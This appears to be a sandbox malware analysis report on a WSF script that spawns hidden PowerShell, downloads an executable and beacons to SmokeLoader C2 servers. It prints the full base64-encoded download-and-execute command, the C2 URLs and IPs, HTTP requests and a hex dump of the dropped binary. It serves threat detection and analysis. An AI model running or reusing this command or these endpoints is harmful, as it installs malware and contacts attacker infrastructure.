JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ProcessId: 6016, ProcessName: powershell.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\tesubba, CommandLine: C:\Users\user\AppData\Roaming\tesubba, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\tesubba, NewProcessName: C:\Users\user\AppData\Roaming\tesubba, OriginalFileName: C:\Users\user\AppData\Roaming\tesubba, ParentCommandLine: , ParentImage: , ParentProcessId: 932, ProcessCommandLine: C:\Users\user\AppData\Roaming\tesubba, ProcessId: 7404, ProcessName: tesubba

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\w4DO1Z18yg.wsf", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6536, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ProcessId: 1664, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\oBuf.exe" , CommandLine: "C:\Users\user~1\AppData\Local\Temp\oBuf.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\oBuf.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\oBuf.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\oBuf.exe, ParentCommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6016, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\oBuf.exe" , ProcessId: 4836, ProcessName: oBuf.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\w4DO1Z18yg.wsf", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\w4DO1Z18yg.wsf", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\w4DO1Z18yg.wsf", ProcessId: 6536, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, CommandLine|base64offset|contains: D, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1664, ParentProcessName: cmd.exe, ProcessCommandLine: powErshEll -nop -w hiddEn -Ep bypass -Enc JABwAGEAdABoACAAPQAgACQARQBuAHYAOgB0AGUAbQBwACsAJwBcAG8AQgB1AGYALgBlAHgAZQAnADsAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAYwBsAGkAZQBuAHQALgBkAG8AdwBuAGwAbwBhAGQAZgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAGUAcwB0AG0AYQBnAGEAegBpAG4AZQBmAG8AcgBhAG4AaQBtAGEAbABzAHUAbgBpAGMAdQBtAC4AcgB1AC8AZABvAHcAbgBsAG8AYQBkAC8AcwB2AGMALgBlAHgAZQAnACwAJABwAGEAdABoACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABhAHQAaAA=, ProcessId: 6016, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T16:37:06.339157+0200	2039103	1	A Network Trojan was detected	192.168.2.7	49845	193.46.217.78	80	TCP
2024-10-04T16:37:07.718485+0200	2039103	1	A Network Trojan was detected	192.168.2.7	49856	188.40.141.211	80	TCP
2024-10-04T16:37:08.097751+0200	2039103	1	A Network Trojan was detected	192.168.2.7	49856	188.40.141.211	80	TCP
2024-10-04T16:37:32.793927+0200	2039103	1	A Network Trojan was detected	192.168.2.7	49974	193.46.217.78	80	TCP
2024-10-04T16:37:33.144894+0200	2039103	1	A Network Trojan was detected	192.168.2.7	49856	188.40.141.211	80	TCP
2024-10-04T16:37:33.535419+0200	2039103	1	A Network Trojan was detected	192.168.2.7	49856	188.40.141.211	80	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-04T16:36:36.183779+0200	2019714	2	Potentially Bad Traffic	192.168.2.7	49699	193.46.217.78	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\tesubba	Avira: detection malicious, Label: HEUR/AGEN.1312567
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Avira: detection malicious, Label: HEUR/AGEN.1312567

Found malware configuration

Source: 0000000F.00000002.1688228770.0000000002060000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://unicexpertmagazine.pw/index.php", "http://ceoconstractionstore.pl/index.php", "http://openclehardware.ru/index.php", "http://informcoopirationunicolceo.ru/index.php"]}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Roaming\tesubba	ReversingLabs: Detection: 87%

Multi AV Scanner detection for submitted file

Source: w4DO1Z18yg.wsf

ReversingLabs: Detection: 26%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\tesubba	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\oBuf.exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\oBuf.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.7:49856 -> 188.40.141.211:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.7:49845 -> 193.46.217.78:80
Source: Network traffic	Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.7:49974 -> 193.46.217.78:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 188.40.141.211 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 193.46.217.78 80			Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://unicexpertmagazine.pw/index.php
Source: Malware configuration extractor	URLs: http://ceoconstractionstore.pl/index.php
Source: Malware configuration extractor	URLs: http://openclehardware.ru/index.php
Source: Malware configuration extractor	URLs: http://informcoopirationunicolceo.ru/index.php

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0Date: Fri, 04 Oct 2024 14:36:36 GMTContent-Type: application/x-msdos-programContent-Length: 222720Connection: closeLast-Modified: Wed, 02 Oct 2024 05:06:08 GMTETag: "36600-62377654eb000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 06 d2 fc 49 42 b3 92 1a 42 b3 92 1a 42 b3 92 1a 5c e1 16 1a 5e b3 92 1a 5c e1 07 1a 51 b3 92 1a 5c e1 11 1a 1e b3 92 1a 65 75 e9 1a 45 b3 92 1a 42 b3 93 1a 32 b3 92 1a 5c e1 18 1a 43 b3 92 1a 5c e1 06 1a 43 b3 92 1a 5c e1 03 1a 43 b3 92 1a 52 69 63 68 42 b3 92 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1e 60 49 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 80 01 00 00 64 11 00 00 00 00 00 16 17 00 00 00 10 00 00 00 90 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 13 00 00 04 00 00 03 a2 03 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 a7 01 00 50 00 00 00 00 50 11 00 e0 a1 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 a4 01 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 df 7e 01 00 00 10 00 00 00 80 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 20 00 00 00 90 01 00 00 22 00 00 00 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f8 7f 0f 00 00 c0 01 00 00 18 00 00 00 a6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 1d 05 00 00 00 40 11 00 00 06 00 00 00 be 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 a1 01 00 00 50 11 00 00 a2 01 00 00 c4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic

HTTP traffic detected: GET /download/svc.exe HTTP/1.1Host: bestmagazineforanimalsunicum.ruConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 188.40.141.211 188.40.141.211

Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View	ASN Name: CUBENODEES CUBENODEES

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49699 -> 193.46.217.78:80

Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xedfkhosquhy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 183Host: unicexpertmagazine.pw
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://utsxpdquoutvtc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: ceoconstractionstore.pl
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rfcqeahtpbrxjuy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 226Host: ceoconstractionstore.pl
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://obbtjayrfmnjdrv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 163Host: unicexpertmagazine.pw
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fwtilsrhssulldop.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 281Host: ceoconstractionstore.pl
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ooxywteyveq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 332Host: ceoconstractionstore.pl

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /download/svc.exe HTTP/1.1Host: bestmagazineforanimalsunicum.ruConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: bestmagazineforanimalsunicum.ru
Source: global traffic	DNS traffic detected: DNS query: unicexpertmagazine.pw
Source: global traffic	DNS traffic detected: DNS query: ceoconstractionstore.pl

Source: unknown

HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xedfkhosquhy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 183Host: unicexpertmagazine.pw

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 04 Oct 2024 14:37:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 75 6e 69 63 65 78 70 65 72 74 6d 61 67 61 7a 69 6e 65 2e 70 77 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1a2<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at unicexpertmagazine.pw Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 7Content-Type: application/octet-streamDate: Fri, 04 Oct 2024 14:37:07 GMTData Raw: 03 00 00 00 7d 4f d6 Data Ascii: }O
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Fri, 04 Oct 2024 14:37:07 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 04 Oct 2024 14:37:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 75 6e 69 63 65 78 70 65 72 74 6d 61 67 61 7a 69 6e 65 2e 70 77 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1a2<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at unicexpertmagazine.pw Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 7Content-Type: application/octet-streamDate: Fri, 04 Oct 2024 14:37:33 GMTData Raw: 03 00 00 00 7d 4f d6 Data Ascii: }O
